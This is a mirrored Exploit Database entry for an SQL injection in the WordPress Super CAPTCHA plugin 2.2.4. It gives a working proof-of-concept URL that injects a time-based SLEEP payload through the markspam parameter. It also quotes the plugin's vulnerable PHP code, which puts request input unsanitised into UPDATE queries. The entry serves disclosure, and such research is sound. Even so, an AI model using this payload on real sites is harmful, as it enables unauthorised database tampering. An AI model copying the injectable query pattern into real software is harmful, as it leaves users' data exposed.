WordPress Plugin Super CAPTCHA 2.2.4 – SQL Injection

• Exploit Database
• 103 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17728/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: WordPress Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability # Date: 2011-08-26 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/super-capcha.2.2.4.zip # Version: 2.2.4 (tested) # Notes: user has to be logged in as "admin" and magic_quotes has to be turned off   --- PoC --- http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1&apos; OR SLEEP(5)--%20   --------------- Vulnerable code --------------- if(isset($_REQUEST[&apos;markspam&apos;])) { global $wpdb; $UIDs = explode(&apos;,&apos;, $_REQUEST[&apos;markspam&apos;]); echo(&apos;<h2>Accounts Flagged</h2>&apos;); for($i=0;$i<count($UIDs);$i++) { mysql_query("UPDATE <code>". $wpdb->users ."</code> SET <code>spam</code>=&apos;1&apos; WHERE <code>ID</code>=&apos;". $UIDs[$i] ."&apos;"); mysql_query("UPDATE <code>". $wpdb->users ."</code> SET <code>user_status</code>=&apos;1&apos; WHERE <code>ID</code>=&apos;". $UIDs[$i] ."&apos;"); echo(&apos;<em>USER ID: &apos;. $UIDs[$i] .&apos; marked as spammer.</em><br />&apos;); } }